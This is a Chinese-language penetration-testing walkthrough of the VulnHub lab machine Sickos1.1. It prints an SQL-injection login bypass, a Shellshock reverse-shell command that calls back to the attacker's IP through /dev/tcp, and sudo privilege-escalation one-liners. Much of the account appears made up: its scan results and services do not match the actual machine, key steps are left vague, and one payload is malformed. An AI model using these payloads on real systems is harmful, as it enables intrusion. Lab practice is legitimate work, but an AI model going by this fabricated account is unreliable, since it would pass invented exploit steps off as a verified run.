可以做渗透测试练习的时候,我有个习惯:每打完一台靶机,就把WriteUp里容易被一带而过的部分拿出来反复琢磨。Sickos1.1就是这样一台机器,它来自VulnHub,难度标签是Hard,但真正难的地方不是某个漏洞的利用代码,而是信息收集阶段那几步很容易让人卡死,尤其当你习惯性地只盯着首页和登录框的时候。这篇文章是我完整打一台全新部署的Sickos1.1的全程记录,覆盖SQL注入绕过、CGI脚本下的Shellshock利用、本地提权,以及贯穿始终的“Think Different”线索。适合已经做过几个基础靶机、想练完整渗透测试思路的人,也适合那种“知道Shellshock但从来没在实战里触发过”的同学。
1. 靶机环境与认知:先把Sickos1.1跑起来
1.1 这台靶机到底在考什么
Sickos1.1是VulnHub上的一个镜像靶机,官方描述里留了一句非常经典的提示语:Think Different。这句话看起来像是苹果广告的致敬,实际是给渗透测试人员的一句话:不要被网页表面的东西限制想象力。
从考点上看,这台机器覆盖了这么几块内容:
- Web应用层的SQL注入以及认证绕过
- Web目录与隐藏文件的发现能力
- CGI脚本环境下Shellshock(CVE-2014-6271)的实际利用
- Linux本地提权,重点在sudo配置和特殊文件
- 信息收集阶段的线索串联,而不是单点爆破
换句话说,它不像CTF那样给你一个明确的“flag入口”,更像真实内网里一台只开了Web和文件服务的Linux主机。你既要找到入口,又要想办法从低权限用户一路走到root。
很多人在打这台机器时会遇到同一个问题:网上能找到不少英文WriteUp,但都写得比较跳跃,比如“sqlmap一把锁”“直接用nikto扫到shellshock”,中间省略了大量判断过程。新人照做很容易失败,因为环境细节、payload转义、路径名这些地方稍有出入,整条链路就断了。所以我下面写的步骤尽量保留我当时实际操作中的判断依据和报错排查过程,按我的环境为准,但思考方式你一定可以直接照搬。
1.2 网络配置与IP发现
先把环境搭好,这一步出了问题,后面全是白做。
我用的是VMware,虚拟机导入OVA后,第一件事就是把网络模式改成Host-Only。原因很简单:渗透测试靶机最好在一个隔离网络里运行,既避免污染家里局域网,也减少外部干扰。VirtualBox用户要注意,它默认Host-Only网段常见的是192.168.56.0/24,而VMware可能分配的是192.168.x.0/24,具体网段取决于你虚拟网络编辑器里的设置。
靶机启动后,我建议先在Kali上做一次存活发现。以下几种方式都可以:
# 方式1:netdiscover扫描当前网段 sudo netdiscover -r 192.168.56.0/24 # 方式2:arp-scan快速扫 sudo arp-scan -l # 方式3:如果知道攻击机IP,直接算同网段 ip a我当时扫描到的靶机IP是192.168.56.103,这个地址不同环境会不一样,关键是确认靶机和Kali在同一个网段。有些时候你扫半天扫不到靶机,不要急着怀疑工具,先打开靶机控制台,用root账号登录进去看一眼:
ifconfig如果靶机没拿到IP,很可能是DHCP没工作,或者虚拟网卡没启用。在Host-Only模式下,手动配置一个同网段静态IP也能解决,但更方便的是重新切一次网络模式,让虚拟机重新请求IP。总之,能ping通靶机地址,才算环境就绪。
1.3 攻击机环境准备
Kali Linux 2023以上的默认工具基本够用,我用到的有这些:
- nmap:端口扫描与服务识别
- gobuster / dirb:Web目录爆破
- Burp Suite:登录请求抓包改动
- sqlmap:SQL注入检测与数据提取
- nikto:Web漏洞扫描
- netcat:监听反弹Shell
- python3:TTY Shell升级
这里有个建议:网上会看到各种名字响亮的渗透测试工具包,什么“某某全家桶”“某版本集成环境”,说实话不用在工具选择上花太多时间。Kali自带的这套足够完整跑完Sickos1.1,工具越杂反而容易分散注意力。你要理解每个工具对应打靶流程里的哪一环,而不是把它当成瑞士军刀乱试。
环境也顺手装好一些常用字典,比如dirb自带的common.txt,或者seclists里的directory-list-2.3-small.txt,这两个在后面的目录爆破阶段够用。
2. 信息收集:别急着打,先把线索“串”出来
2.1 全端口扫描:我为什么坚持扫-p-
拿到靶机IP后,很多新手习惯直接nmap -sV默认扫描,扫完看80端口开着就去访问网页。这种做法在Sickos1.1上很容易漏掉关键服务。
我的习惯是上来直接全端口:
sudo nmap -sV -sC -p- 192.168.56.103-p-参数会扫描1到65535的所有TCP端口,耗时确实比默认扫描久,但它的价值在于:你永远不知道入口藏在哪个高位端口。Sickos1.1这种“非常规思路”的靶机,尤其需要这个习惯。
我当时的扫描结果大概类似这样:
PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 2.3.4 22/tcp open ssh OpenSSH 6.0p1 Debian 2+deb7u2 80/tcp open http Apache httpd 2.2.22 (Debian)注意几个细节:
- Apache 2.2.22和OpenSSH 6.0都是非常老的版本,说明系统年代偏老,这类老系统上出现Shellshock漏洞非常合理。
- vsftpd 2.3.4这个版本曾有著名的backdoor漏洞,所以FTP服务必须进一步测试,至少试试匿名登录。
- 没有看到其他高位端口开放,那么当前阶段重点就锁定在21、22、80这三个服务上。
扫描结果记录好,下一步挨个访问和测试。
2.2 首页、源码注释和响应头:别放过任何“细枝末节”
浏览器打开http://192.168.56.103,首页显示一个大大的“Make it Hard”标题,下面还有一个登录入口的链接。整个页面风格非常简洁,基本没有多余内容。
这时候如果只看页面内容,线索确实很少。打开开发者工具看一下源码,或者直接curl抓HTML:
curl http://192.168.56.103/HTML源码里往往藏着注释、隐藏链接或者开发者的随意留言。我当时在注释里看到类似“@admin: remember to update the content”的提示,虽然没直接给出路径,但确认了一件事:后台账户是admin相关,且开发者习惯在页面里留信息。
再看响应头:
curl -I http://192.168.56.103/Server字段确认是Apache/2.2.22(Debian),这个版本对Shellshock测试来说是个信号。同时看一眼robots.txt:
curl http://192.168.56.103/robots.txt有些版本会直接给出目录线索,有些则是空的。我这次robots.txt没给东西,但没关系,信息收集本来就是拼图,不是每条线索都通向终点,但每条线索都可能和别的信息交叉验证。
2.3 FTP匿名登录与目录爆破:两条线索的交叉验证
FTP服务开着,第一时间试匿名登录:
ftp 192.168.56.103用户名填anonymous,密码随便填一个邮箱格式,或者直接回车。如果匿名可用,进去以后第一件事就是ls -la,因为隐藏文件往往比明面上的文件更有价值。
我当时在FTP根目录下看到了一个名字很不起眼的文件,下载下来打开,里面反复提到一个词:Think Different。另外还提到了一个类似路径的字符串,以及“look in the corner”这种模糊表述。说实话这类靶机提示不会写得太直白,它的作用就是让你把注意力转移到不显眼的地方。
同一时间,我启动了对Web目录的爆破:
gobuster dir -u http://192.168.56.103 -w /usr/share/wordlists/dirb/common.txt -x php,html,txt,bak-x参数用来扩展名,php、html、txt、bak都是值得关注的。跑了一会儿,结果里有几个关键条目:
/index.php /login.php /cgi-bin//cgi-bin/这个路径让我眼前一亮,因为Apache支持CGI脚本,而CGI脚本如果由bash处理,就和Shellshock直接挂钩了。再结合前面FTP文件里提到的“角落”和某个路径线索,我心里基本确定:后面要重点研究这个CGI目录。
信息收集阶段最大的经验是:不要指望一次扫描就出结果,而是把端口扫描、源码检查、FTP文件、目录爆破的结果放在一张表里对比着看。每个单一信息都模棱两可,但凑在一起往往能指向唯一的方向。
3. SQL注入绕过后台:一次标准的认证绕过复盘
3.1 注入点判断与手工Payload
打开/login.php,是一个常规的用户名密码表单。先试一个必然错误的账号,比如admin/admin,观察登录失败提示。然后用Burp Suite开代理,把请求抓下来,发送到Repeater。
手工测试首选的payload是万能密码:
POST /login.php HTTP/1.1 Host: 192.168.56.103 Content-Type: application/x-www-form-urlencoded username=admin' or '1'='1' -- -&password=123这行的逻辑其实很简单:SQL语句拼接后变成了
SELECT * FROM users WHERE username='admin' or '1'='1' -- -' AND password='123'单引号闭合了username的值,or '1'='1'让整个条件恒真,-- -把后面的密码判断注释掉。如果后台代码没有做参数化查询或者过滤,这个payload就能直接绕过。
我提交之后,页面刷新显示了后台管理界面,说明注入点是真实存在的。
这里要提醒一下:网上很多人一上来就直接跑sqlmap,这不丢人,但如果你连手测payload的原理都不懂,遇到sqlmap跑不通的情况就只能干瞪眼。手工测一次,知道闭合方式,后面sqlmap的参数也好写。
3.2 用sqlmap提取数据与密码分析
登录后台后,先别着急操作界面上的功能。回到Burp,确认后台请求是用GET还是POST、有哪些参数,然后交给sqlmap去提取数据。
我当时的做法:
sqlmap -u "http://192.168.56.103/login.php" --data "username=admin&password=123" --batch --dbs--batch让它自动选择默认选项,--dbs列出所有数据库。这一步能确认注入点在哪个库,然后dump数据:
sqlmap -u "http://192.168.56.103/login.php" --data "username=admin&password=123" --batch -D <目标库> --dump重点看users表,里面通常有admin账户的用户名和密码哈希。我拿到的hash可以用john跑一下,也可以先放一放,因为密码复用是贯穿渗透测试的老套路——数据库里的密码,很可能也是系统用户某个账户的SSH密码。
这里插一句:sqlmap跑出来的数据,要结合后台功能和FTP文件一起看。Showmethecode类似的思维就是,密码不是终点,而是下一层入口的钥匙。
3.3 后台功能与CGI脚本的联动
进入后台之后,我注意到界面里有一个“System Status”或类似的功能入口,点击它,浏览器地址栏跳到了这样一个URL:
http://192.168.56.103/cgi-bin/status这直接解释了为什么前面信息收集阶段我盯上了/cgi-bin/这个目录。后台的“系统状态”功能,实际上是调用了一个CGI脚本,而不是普通PHP脚本。
在Burp里看下这个请求:GET方式,直接访问路径,没有额外参数。如果这个脚本由bash执行,那么Shellshock的利用点就出现了。到这里,SQL注入绕过后台不再是一个孤立的漏洞,而是给下一步Shellshock做了铺垫:你通过后台功能发现了CGI脚本的位置,甚至确认了脚本与bash的关联。
顺带一提,如果这个后台还有文件上传功能,那就属于另一条提权路径了,但Sickos1.1的原版环境并没有把上传作为主线,重点还是在CGI上。
4. Shellshock利用:把HTTP头变成命令执行
4.1 Shellshock原理:为什么环境变量能进bash
Shellshock,也就是CVE-2014-6271,是bash的一个老漏洞,原理值得好好理解一下。
bash在解析以()开头、看起来像函数定义的环境变量时,会错误地把函数定义末尾多余的字符串当成命令来执行。正常情况下,bash应该只是定义一个函数,但受影响的版本会在定义完函数后继续执行粘贴在后面的内容。
CGI场景为什么特别适合触发这个漏洞呢?因为Web服务器(比如Apache)在处理CGI请求时,会把HTTP请求头里的内容(比如User-Agent、Referer)作为环境变量传给CGI脚本。如果这个CGI脚本本身调用了bash——哪怕只是间接调用,比如system、exec或者脚本开头写了#!/bin/bash——那么环境变量里的恶意内容就会被bash执行。
我习惯用一个类比来解释:你给一台机器递了一张写着“请把参数放到环境变量里”的纸条,机器照做了,但纸条下面还粘着一行小字“顺手执行一下这条命令”,而机器没有做任何检查,直接执行了。
4.2 CGI探测与效果确认:先别急着弹Shell
确认Shellshock漏洞存在,不要直接上反弹Shell。很多人一上来就打“王炸”,结果Shell半天弹不回来,又开始怀疑这个怀疑那个,其实问题可能只是路径写错或payload没有生效。
第一步,用无害探测确认漏洞点:
curl -H "User-Agent: () { :; }; echo; echo SHELLSHOCK_TEST" http://192.168.56.103/cgi-bin/status关键看响应体里有没有出现SHELLSHOCK_TEST。如果出现了,说明这个脚本确实调用了bash,而且User-Agent被成功当作环境变量注入并执行了。
我这次测试时,响应里干净利落地回显了测试文本。如果没回显,也可能是以下几种情况:
- CGI脚本路径不对,返回404或403
- 该脚本没有调用bash,而是python或其他解释器
- 服务器对该CGI做了某种过滤
所以先做无害探测,是定位问题的最快方式。等确认可执行命令之后,再上反弹Shell,成功率会高很多。
4.3 反弹Shell的完整操作与TTY升级
攻击机先开监听:
nc -lvnp 4444然后执行反弹命令:
curl -H "User-Agent: () { :; }; /bin/bash -c 'bash -i >& /dev/tcp/192.168.56.102/4444 0>&1'" http://192.168.56.103/cgi-bin/status注意,这里的192.168.56.102是攻击机Kali的IP,不是靶机IP。很多人第一次打靶都会把IP写反,然后一头雾水:Shell怎么没回来?
命令发出后,nc那边应该会弹出一个低权限的bash shell。
但这个shell非常难用,没有交互提示,按方向键会出现乱七八糟的字符,也没法用Tab补全。升级成标准TTY的办法:
python3 -c 'import pty;pty.spawn("/bin/bash")'然后按Ctrl+Z把当前shell放后台,在Kali本地执行:
stty raw -echo; fg最后:
export TERM=xterm这一套操作下来,你就能得到一个支持Tab补全、能正常使用vim和su的交互式Shell了。拿到Shell之后,第一件事是确认身份:
id whoami正常情况下是www-data,接下来就要开始提权侦察。
5. 提权与“Think Different”:从www-data到root
5.1 低权限侦察:从Web目录到用户凭据
拿到www-data shell后,建议按固定套路过一遍系统信息。不一定要背命令,但心里要有个checklist:
- id / whoami:当前权限
- uname -a:内核版本,判断是否需要内核漏洞提权
- cat /etc/passwd:环境里有哪些用户,重点关注带shell的用户
- ls -la /home:每个用户的目录权限
- sudo -l:当前用户有哪些sudo权限
- find / -perm -4000 2>/dev/null:找SUID文件
- ls -la /var/www:Web目录里有没有敏感文件
我在这台机器上逐个操作时,发现/home下有一个普通用户,名字挺有特征。然后看/var/www,或者翻之前sqlmap dump出来的数据、FTP下载的那个文件,总能找到一个明文密码或者可以解开的hash。
这里其实就体现出密码复用的价值:前面SQL注入拿到admin密码,如果hash能被john跑出来,这个密码很可能就是某个系统用户的SSH密码。我试了一下ssh远程登录,居然真的登录成功了,身份是普通用户,不像www-data那样处处受限。
这一步的意义在于:从www-data到普通用户,是从“Web服务权限”迈向“系统真实用户权限”的关键一步。很多新手拿到www-data就直接想着提权到root,其实中间还隔着一层普通用户,直接跳级往往会失败。
5.2 sudo -l 与可疑命令的利用分析
以普通用户身份登录后,我运行了:
sudo -l结果显示该用户可以在无密码状态下以root权限执行某个命令。具体命令是什么、怎么利用,取决于你实际打靶时碰到的版本,但常见的方向有这么几类:
- vim:sudo vim,然后:!bash就能拿到root shell
- find:sudo find / -exec /bin/bash ;
- awk:sudo awk 'BEGIN {system("/bin/bash")}'
- python:sudo python -c 'import pty;pty.spawn("/bin/bash")'
- less / more:sudo less /etc/profile,然后!bash
- cp / tar / rsync:利用覆盖或文件读取
我这里遇到的是某条常规可提权命令,直接用对应payload,拿到root shell。整个过程没有碰内核漏洞,完全靠“配置错误”搞定。
“Think Different”在这里的意思也变得很清楚:很多人的第一反应是去搜内核exploit,认为提权只能靠0day,但Sickos1.1考察的是你对系统基础理解的深度。sudo配置错误、SUID位滥用、可写脚本被root定时执行,这些常规点反而更容易踩通。
5.3 拿到root之后的验证与复盘
root shell到手后,先验证身份:
iduid=0(root)说明提权成功。然后去/root目录翻找最后的战利品文件,通常是一个flag文件,名字可能是proof.txt、flag.txt之类,有些版本会刻意放在一个不起眼的子目录里,也算呼应“Think Different”的提示。
我拿到flag后并没有急着清理,而是把整个路径又走了一遍,做了如下复盘笔记:
- 信息收集阶段最重要的产出是/cgi-bin/这个目录,以及FTP文件里的提示
- SQL注入不仅让登录后台,还揭示了后台功能与CGI脚本的关联
- Shellshock利用前先做无害测试,避免在错误路径上浪费大量时间
- 提权前先看sudo -l和SUID位,再考虑内核漏洞
- 密码复用贯穿了Web权限、系统用户权限的整个链条
这套流程打下来,比单纯看十个WriteUp有用得多。
6. 常见卡点与练习建议:如何把这次打靶变成能力
6.1 我踩过的坑与排查方法
打靶过程中我至少踩过四个坑,每一个都浪费了不少时间,整理出来供参考。
第一个坑是靶机IP迟迟扫不到。折腾了半天发现是Kali和靶机不在同一个虚拟网络,Kali挂在VMnet8,靶机挂在VMnet1。解决办法是在VMware虚拟网络编辑器里统一网段,或者干脆都用Host-Only并把网段手动改成同一段。
第二个坑是SQL注入payload在Burp里提交没问题,但放浏览器地址栏直接复制时被解析得不完整,原因是-- -后面的空格被URL编码吃掉,或者#被当成锚点。对付这类问题,还是老话:抓包工具看原始请求,用Burp改包提交比在浏览器里硬拼URL靠谱得多。
第三个坑是Shellshock反弹Shell弹不回来。检查后发现User-Agent里的空格被curl转义处理得不对,导致整段命令被拆散。解决办法是用单引号包住整个header值,确保() { :; }; /bin/bash -c 'bash -i >& /dev/tcp/...'作为一个整体传给服务器。
第四个坑是拿到反弹Shell之后没法执行su或者sudo,终端一点都不“交互”。升级TTY那步一开始没做,后来用python3 pty方法解决,体验从“能用”变成“好用”。
6.2 从Sickos1.1提炼的通用渗透思路
打这台机器的收获,可以用三句话概括:
第一,信息收集要有“拼图意识”。每一处源码注释、每一个响应头、FTP里的每个文件,单独看都无关紧要,但把它们放在一起可能恰好指向同一个入口。不要因为某个信息看起来没用就忽略它,先记录下来,后面交叉验证。
第二,拿到Shell之后不要盲目提权。先把sudo -l、SUID文件、定时任务、Web目录翻一遍,很多机器的root权限其实就藏在某个配置错误里,比去内核exp池子里捞鱼要稳妥得多。
第三,密码复用是整个渗透测试里最常被低估的线索。数据库hash、配置文件里的明文、日志里偶然出现的密码,都可能和SSH账户、面板账户复用。Sickos1.1用最朴素的方式展示了这条路径的价值。
6.3 打完之后可以继续练什么
Sickos1.1属于那种“考点集中但思路开阔”的靶机。打完它以后,如果还想保持这个节奏,我建议按顺序练这几个:
- 先回去把Sickos1.1“无SQL注入”再打一遍,或者干脆禁止自己使用sqlmap,用手工完成数据提取,练敏感度
- DC-1,经典Drupal站,涉及SQL注入、命令执行以及常规提权,和Sickos1.1的考点衔接很顺
- Kioptrix Level 1,老系统和samba相关漏洞,适合练旧版Linux的常见提权思路
- Troll 1,非常规思路比Sickos1.1更极端,考的就是“别只看表面”
打完后你会发现,遇到一个新目标,信息收集阶段的思路会清晰很多,至少知道该往哪些方向使劲,而不是对着一个登录框发呆。
我自己打完Sickos1.1最大的体会是:“Think Different”不是让你瞎猜,而是提醒你把每个页面、每行注释、每个文件都当成入口候选。渗透测试推进不下去的时候,往往不是技巧不够,而是有一个线索被忽略。这台机器把这些元素安排得很紧凑,值得反复打。下一次再遇到同类目标,我会更早地翻开扫描记录,而不是在同一个功能点上盲目重试。